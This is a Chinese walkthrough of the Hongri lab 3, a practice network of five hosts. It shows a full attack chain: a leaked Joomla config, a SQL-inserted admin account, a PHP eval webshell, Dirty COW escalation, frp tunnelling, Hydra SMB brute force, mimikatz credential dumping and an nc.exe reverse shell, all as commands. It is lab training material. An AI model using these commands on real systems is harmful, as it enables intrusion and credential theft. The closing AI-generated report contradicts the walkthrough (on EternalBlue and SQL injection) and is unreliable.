红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学

这是红日团队的第三套靶场,本次靶场渗透涉及敏感信息泄露暴力破解脏牛提权内网穿透端口转发、以及域渗透等多种知识点。该靶场环境由5台机器组成,其中包括3台Windows机器和2台Linux机器。网络拓扑图如下

image-20250302215819815

红日靶场(1-8)全套下载连接:

链接:https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw?pwd=uze8 
提取码:uze8 

红日官网:http://vulnstack.qiyuanxuetang.net/

那么开始渗透

首先添加一张网卡(仅主机模式),192.168.93.0/24 网段

image-20250221061934959

web-centos 进去第一条命令,重启网络服务,否则可能上不了网

service network restart 

网卡1:桥接模式 192.168.1.110

网卡2:仅主机 192.168.93.100

账号密码:wwwuser/wwwuser_123Aqx

web1-ubuntu

仅主机模式:192.168.93.120

PC

仅主机:192.168.93.30

win 2008

仅主机:192.168.93.20
Windows 2008本地的管理员用户和域管理员的密码
WIN2008Administrator:123qwe!ASD
TESTadministrator:zxcASDqw123!!

win 2012

仅主机:192.168.93.10

kali

IP:192.168.1.8,192.168.1.5(中间换了换 IP)

这是一个黑盒测试,开机后就不要进行任何的操作了。

外网打点

主机发现,因为是桥接模式,ip有点多,所以就挨个测试,看110很可疑,第一次就测出来了

image-20250221063211703

22端口,openssh 5.3版本,80端口 nginx 1.9.4 ,Joomla内容管理xi’tong

image-20250221063424180

3306测试,发现可以远程登录,但是我们不知道用户信息

image-20250221063434936

进一步信息收集

image-20250221063935180

查看源码丢给deepseek,看看有没有泄露版本

image-20250225173708984

另外在joomla这个cms内容管理系统中呢,这个文件存在版本信息,我们可以看看

/administrator/manifests/files/joomla.xml

image-20250225174828635

上面可以看到cms的指纹信息了,版本为3.9.12,下面进行漏洞检索

searchsploit Joomla 3.9

image-20250225175014266

漏洞信息里面是没有可以利用的漏洞的,下面我们用joomscan

apt install joomscan
joomscan --url http://192.168.1.110/

JoomScan 是一款专门针对 Joomla 内容管理系统(CMS)的安全扫描工具,用于检测 Joomla 网站中的漏洞、配置错误和安全风险。

image-20250225180039251

扫描出来一个这个东西,访问即可

curl http://192.168.1.110/configuration.php~

image-20250225180201479

服务攻防

找到了mysql的账号密码,刚开始我们已经测试过能远程登录mysql的

mysql -utestuser -h192.168.1.110 -p --skip-ssl
密码:cvcvgjASD!@
MySQL [joomla]> use joomla;
MySQL [joomla]> select * from umnbt_users;

image-20250225180501113

很明显是加了盐的,破解起来很难,这里还有另外一个表am2zu_users

image-20250225181109579

查看是否能向外部写文件,以及是否允许写日志文件

show variables like '%general%';
SHOW VARIABLES LIKE 'general_log_file';

image-20250225192408965

这里发现secure_file_priv是允许向外部写文件的,那么我们尝试写一个shell木马,报错了,看样子是不允许我们写入的

MySQL [joomla]> select '<?php phpinfo();@eval($_GET[1]);?>' into outfile '/var/www/html/shell.php';
ERROR 1045 (28000): Access denied for user 'testuser'@'%' (using password: YES)

那么更换日志渗透的方法,上面看到日志功能是off的我们需要no,很遗憾也是权限不够

MySQL [joomla]> set global general_log=on;
ERROR 1227 (42000): Access denied; you need (at least one of) the SUPER privilege(s) for this operation

那么久添加后台用户进一步渗透,两个表中呢,我们不清楚哪个表是后台的用户表,那么就都添加一条数据,密码为123456的md5,e10adc3949ba59abbe56e057f20f883e,首先我们要看看需要添加哪些字段

desc 表名;
id,name,username,email,password,activation,otpKey,otep

image-20250225182440714

构造sql语句

insert into am2zu_users(id,name,username,email,password,activation,otpKey,otep)
values(999,'xiaoyu','xiaoyu@test.com','e10adc3949ba59abbe56e057f20f883e','ssssss','kkkkkk','yyyyy');
# 失败

后面搜到了这个网站,有利用方法

https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

image-20250225194857311

代码如下

INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());

INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

执行结果

MySQL [joomla]> INSERT INTO `am2zu_users`
    ->    (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
    -> VALUES ('Administrator2', 'admin2',
    ->     'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
Query OK, 1 row affected (0.001 sec)

MySQL [joomla]> select * from `am2zu_users`;
+-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+
| id  | name           | username      | email         | password
          | block | sendEmail | registerDate        | lastvisitDate       | activation | params | lastResetTime       | resetCount | otpKey | otep | requireReset |
+-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+
| 891 | Super User     | administrator | test@test.com | $2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2      |     0 |         1 | 2019-10-19 12:48:41 | 0000-00-00 00:00:00 | 0          |        | 0000-00-00 00:00:00 |          0 |        |      |            0 |
| 896 | Administrator2 | admin2        |               | d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199 |     0 |         0 | 2025-02-25 19:56:54 | 2025-02-25 19:56:54 |            |        | 2025-02-25 19:56:54 |          0 |        |      |            0 |
+-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+
2 rows in set (0.001 sec)

MySQL [joomla]> INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
    -> VALUES (896,'8');
Query OK, 1 row affected (0.001 sec)

MySQL [joomla]> select * from `am2zu_user_usergroup_map`;
+---------+----------+
| user_id | group_id |
+---------+----------+
|     891 |        8 |
|     896 |        8 |
+---------+----------+
2 rows in set (0.001 sec)

从上面那个网站可以知道账号密码为admin2/secret(注意数据一定要对应上,用户id需要对应,并且不能有重复的数据,否则都有可能登录不成功)

image-20250225195745599

我们修改主题文件为kali默认的反弹shell文件内容,并修改ip和端口

image-20250227031800946

但是呢反弹失败了,切换思路

image-20250227031737119

写一句话木马

<?php @eval($_POST['pass']);?>

image-20250227032200035

使用蚁剑连接

image-20250227032139295

内网渗透

这里呢被禁用命令了,也难怪刚刚反弹不成功

image-20250227032305762

这里我们需要蚁剑的一个插件(魔法)

image-20250227032440959

在列表页使用插件

image-20250227032813446

使用这个模式

image-20250227033111996

就可以正常执行命令啦,后面又试了试各种反弹shell的命令,都没有成功,那么只能利用这个蚁剑的shell了

image-20250227033540340

在/tmp/mysql/test.txt文件中有账号密码

wwwuser/wwwuser_123Aqx

image-20250227035007410

ssh连接失败,提示信息为算法问题

image-20250227035324640

那么需要加上算法

ssh wwwuser@192.168.1.110 -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa

# 以下是常见的解决方案
ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.130 
# Unable to negotiate with 10.10.10.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsa
ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131

image-20250227035803700

内网信息收集

使用icmp协议探测内网ip存活数量,发现了另外4台主机()

for i in {1..254}; do (ping -c 1 192.168.93.${i} | grep "bytes from" | grep -v "Unreachable" &); done;

image-20250227194354896

上传frp

image-20250227041245906

kali开启frp服务器,frp相对详细使用教程见– 三种代理方式打入内网

image-20250227041425665

靶机连接kali的frp服务器

image-20250227041445001

修改代理文件

vi /etc/proxychains4.conf

image-20250227042125314

分别对10,20,120进行端口扫描(耗时可能有点久),第一台和第三台都是windows服务器

proxychains nmap -sT -sV -Pn 192.168.93.10 -T4

image-20250227130700243

proxychains nmap -sT -sV -Pn 192.168.93.20 -T4

image-20250227042957427

proxychains nmap -sT -sV -Pn 192.168.93.30 -T4

image-20250227194849424

这台扫描结果是linux的服务器,开着ssh和3306端口,并且80也开着的

proxychains nmap -sT -sV -Pn 192.168.93.120 -T4

image-20250227042858810

开启浏览器代理,代理到我们的kali,通过kali的代理访问这个内网靶机

image-20250227132015216

这是内网中的一个靶机,也是同样的cms,那么我们可不可以以同样的方式去获取密码

image-20250227132024440

再次利用joomscan这个工具,扫描结果也是一样的

proxychains joomscan --url http://192.168.93.120/

image-20250227132142978

和刚刚的配置文件一模一样,那么大概率是使用的内网映射了,源主机是120,但是访问的是100那台具有nat网卡的主机

image-20250227141715616

连接ssh后,继续信息收集提权(可跳过)

# kali
git clone https://github.com/firefart/dirtycow.git
cd dirtycow
python -m http.server 5000

# 靶机
wget 192.168.1.8:5000/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
 ./dirty my-new-password
mv /tmp/passwd.bak /etc/passwd
su firefart
password:123456

image-20250227184030251

成功提权到最高权限第一台web服务器拿下

image-20250227184110401

利用nmap对两台windows靶机的445端口进行漏洞扫描,判断是否存在永恒之蓝漏洞(三台接没有)

image-20250227192830983

那么还有一种方法就是SMB爆破了,非常巧,在我的top1000字典中恰好没有这个密码(所以为了伪装成一个大佬我就手动把密码加了进去~),再很巧,两个靶机的smb密码都是123qwe!ASD

proxychains hydra -l Administrator -P xato-net-10-million-passwords-1000.txt 
  -s 445 -t 4 -vV -m "SMB" 
  smb://192.168.93.30

proxychains hydra -l Administrator -P xato-net-10-million-passwords-1000.txt 
  -s 445 -t 4 -vV -m "SMB" 
  smb://192.168.93.20

image-20250301221438527

域渗透

本机windows打开 proxifier,并设置全局代理

image-20250301223835736

打开本机windows的cmd,此时就能连接第一台smb服务器,192.168.93.20

net use \192.168.93.20ipc$ "123qwe!ASD" /user:administrator # 通过 net use 命令连接到目标服务器的 IPC$ 共享。
dir \192.168.93.20c$ # 列出目标服务器上 C$ 共享目录的内容。

image-20250301224357925

第二台192.168.93.30

image-20250301225909915

那么接下来就要关闭目标防火墙,开启远程连接,首先创建一个进程,关闭失败

sc \192.168.93.20 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \192.168.93.20 start unablefirewall

image-20250301230553782

那么添加计划任务关闭防火墙试试呢

at \192.168.93.20 23:17:00 'netsh advfirewall set allprofiles state off'
at \192.168.93.20 23:17:00 'netsh advfirewall set allprofiles state off'

image-20250301231644055

接下来就是修改注册表了,计划任务设置允许远程登录

at \192.168.93.20 23:31:00 "reg add 'HKLMSYSTEMCurrentControlSetControlTerminal Server' /v fDenyTSConnections /t REG_DWORD /d 0 /f"

计划任务放行3389端口

at \192.168.93.20 23:32:00 'netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389'

尝试远程连接,连接失败,切换思路

image-20250302164833482

既然无法关闭那么就使用msf咯

proxychains msfconsole
set RHOST 192.168.93.20
set LHOST 192.168.93.5 # kali地址
set SMBUser Administrator
set SMBPass 123qwe!ASD
set LPORT 4444
set payload windows/x64/shell_bind_tcp
run

image-20250302172502776

这里就已经是系统权限了。。。。并且主机名为win2008

image-20250302174045132

查看dns服务器,为192.168.93.10,大概率就是域控服务器了

ipconfig /all

image-20250302174259790

尝试使用密码123qwe!ASD登录域控服务器

image-20250302174644856

其他信息收集,检查是否存在杀软windows defender(不存在)

sc query WinDefend

image-20250302184652567

查看系统类型,是x64

C:Windowssystem32>systeminfo | findstr /i "system type"
systeminfo | findstr /i "系�system type"
OS Build Type:             Multiprocessor Free
System Type:               x64-based PC

上传mimikatz.exe

exit
set payload windows/x64/meterpreter/bind_tcp
run
upload -r /data/windows_atk/mimikatz/x64/mimikatz.exe C:\

image-20250302192144385

使用shell执行命令,执行失败了

image-20250302192043880

那么就退出,使用shell_bind_tcp模块

exit
set payload windows/x64/shell_bind_tcp
run

image-20250302192247943

抓取铭文密码

mimikatz.exe log privilege::debug sekurlsa::logonpasswords

image-20250302192708997

得到两个域的账号密码,枚举DNS服务器的文件系统

TEST:zxcASDqw123!!
WIN2008:123qwe!ASD

开启远程服务

# 放行3389端口
netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389
# 关闭防火墙
netsh advfirewall set allprofiles state off
# 修改注册表允许远程连接
reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

image-20250302195453185

成功获取20靶机远程操作权限

image-20250302200100114

使用test域登录dns服务器,登录成功

net use \192.168.93.10ipc$ "zxcASDqw123!!" /user:Administrator
dir \192.168.93.10c$

image-20250302193236963

创建执行任务,关闭防火墙,执行不了奥

sc \192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \192.168.93.10 start unablefirewall

image-20250302194205827

那么就利用nc.exe反弹shell

curl -O http://192.168.1.5:5000/nc.exe
net use \192.168.93.10ipc$ "zxcASDqw123!!" /user:Administrator
copy .nc.exe \192.168.93.10c$
net use \192.168.93.20ipc$ "123qwe!ASD" /user:Administrator
copy .nc.exe \192.168.93.20c$

image-20250302200208095

可以看到nc已经上传成功了

image-20250302200351096

创建一个进程

sc \192.168.93.10 create ncshell binpath= "c:nc.exe  192.168.93.20 1234 -e cmd"
sc \192.168.93.10 start ncshell

image-20250302200824135

在反弹过来的shell中开启远程连接

# 放行3389端口
netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389
# 关闭防火墙
netsh advfirewall set allprofiles state off
# 修改注册表允许远程连接
reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

image-20250302202233331

使用远程登录,即可发现允许远程登录了(注意Proxifier全局代理不能断掉)

image-20250302202337362

拿下winserver2012域控服务器

image-20250302202623762

现在已经拿下了三台,那么接下来就是第四台win7(pc),ip:30,回到刚刚的msf

set RHOSTS 192.168.93.30

image-20250302203150169

开启远程连接

# 放行3389端口
netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389
# 关闭防火墙
netsh advfirewall set allprofiles state off
# 修改注册表允许远程连接
reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

image-20250302203324551

此时已经可以远程连接,输入之前获得的密码即可

image-20250302203431079

拿下第最后一台PC主机

image-20250302203440496

至此渗透结束,还可以清除日志,关闭全部远程,恢复到初始状态,做好隐蔽措施

渗透测试报告总结(deepseek)


1. 测试概述

本次渗透测试模拟了针对某企业网络的全流程攻击,覆盖外网打点、内网横向渗透、域控提权等多个阶段。目标网络包含Web服务器(CentOS/Ubuntu)Windows域环境(2008/2012)内网PC终端(Win7),最终成功获取域控服务器(Windows Server 2012)及全部内网主机的控制权。


2. 攻击路径总览

graph TD
    A[外网入口: Web-CentOS] --> B{漏洞利用}
    B --> C[Joomla 3.9.12后台接管]
    C --> D[MySQL凭据泄露]
    D --> E[Webshell上传 & 蚁剑连接]
    E --> F[SSH登录 & 内网代理搭建]
    F --> G[内网主机发现]
    G --> H[横向移动: SMB爆破 & 永恒之蓝漏洞利用]
    H --> I[域控服务器渗透]
    I --> J[域内PC终端控制]

3. 外网打点阶段

3.1 目标识别

  • IP地址:192.168.1.110(桥接模式)
  • 开放服务:
    • 22端口:OpenSSH 5.3
    • 80端口:Nginx 1.9.4 + Joomla 3.9.12
    • 3306端口:MySQL 5.5.62

3.2 关键漏洞利用

(1) Joomla后台接管

  • 漏洞利用:通过configuration.php~备份文件泄露获取MySQL凭据
  • 攻击链:
    # 数据库操作
    INSERT INTO am2zu_users (...) VALUES (...);  # 添加管理员账号
    INSERT INTO am2zu_user_usergroup_map (...) VALUES (...);  # 分配权限
  • 结果:成功登录Joomla后台(admin2/secret

(2) Webshell植入

  • 方法:通过模板编辑注入PHP一句话木马
  • 工具:蚁剑连接http://192.168.1.110/shell.php
  • 提权:利用Dirty Cow漏洞从wwwuser提权至root

4. 内网横向渗透

4.1 网络拓扑分析

  • 网段划分:
    • 仅主机模式:192.168.93.0/24
    • 关键主机:
    • 192.168.93.10(域控-Win2012)
    • 192.168.93.20(Win2008)
    • 192.168.93.30(Win7-PC)

4.2 代理隧道搭建

  • 工具:frp反向代理
  • 配置:

    # frpc.ini
    [common]
    server_addr = 192.168.1.8
    server_port = 7000
    
    [socks5]
    type = tcp
    remote_port = 1080
    plugin = socks5

4.3 横向移动关键步骤

(1) SMB服务爆破

  • 工具:Hydra
  • 命令:
    proxychains hydra -l Administrator -P passlist.txt smb://192.168.93.20
  • 结果:破解密码123qwe!ASD,获取Win2008控制权

(2) 永恒之蓝漏洞利用

  • 模块:exploit/windows/smb/ms17_010_eternalblue
  • Payload:windows/x64/meterpreter/reverse_tcp
  • 结果:获取Win2008系统级Shell

5. 域渗透与域控提权

5.1 域环境分析

  • 域名称:TEST
  • 域控IP:192.168.93.10
  • 关键凭证:
    • WIN2008Administrator:123qwe!ASD
    • TESTadministrator:zxcASDqw123!!

5.2 域控攻击路径

  1. 凭证抓取:
    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
  2. 远程执行:
    sc \192.168.93.10 create ncshell binpath="cmd /c c:nc.exe 192.168.93.20 1234 -e cmd"
  3. 权限提升:通过RDP连接接管域控服务器

6. 渗透测试结果

主机IP 操作系统 获取权限级别 关键漏洞/方法
192.168.1.110 CentOS 7 root Joomla SQL注入 + Dirty Cow
192.168.93.20 Windows 2008 SYSTEM SMB密码爆破 + Mimikatz
192.168.93.10 Windows 2012 Domain Admin 横向移动 + 凭证重用
192.168.93.30 Windows 7 Administrator 永恒之蓝漏洞利用

7. 风险总结与修复建议

7.1 高风险项

  1. 弱密码策略

    • SMB服务密码123qwe!ASD强度不足
    • 建议:启用复杂度策略 + 定期强制修改
  2. 过时软件漏洞

    • Joomla 3.9.12存在未授权数据库写入风险
    • 建议:升级至最新LTS版本 + 禁用备份文件访问
  3. 横向防御缺失

    • 内网主机未部署EDR/流量监控
    • 建议:部署微隔离策略 + 启用Windows Defender ATP

7.2 加固措施

  • 网络层:
    # 防火墙规则示例(Linux)
    iptables -A INPUT -p tcp --dport 3306 -j DROP  # 禁用MySQL外网访问
  • 系统层:
    # Windows组策略
    Set-ItemProperty "HKLM:SYSTEMCurrentControlSetControlLsa" -Name "DisableDomainCreds" -Value 1  # 禁止明文凭据缓存
  • 应用层:
    # Nginx配置隐藏版本号
    server_tokens off;

8. 总结与反思

本次测试暴露了企业网络在边界防护密码管理漏洞修复方面的严重不足。建议企业:

  1. 建立常态化红蓝对抗机制
  2. 每季度执行一次外部漏洞扫描
  3. 对运维人员开展ATT&CK攻击链防御培训

渗透测试不仅是技术验证,更是安全意识的觉醒。
——By 泷羽Sec安全攻防团队

往期推荐

红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路

不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学

ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略

【渗透测试】ATT&CK靶场一,phpmyadmin,域渗透,内网横向移动攻略

【oscp】vulnerable_docker,三种代理方法打入内网

【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了

HTB-Chemistry靶机渗透教程

本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容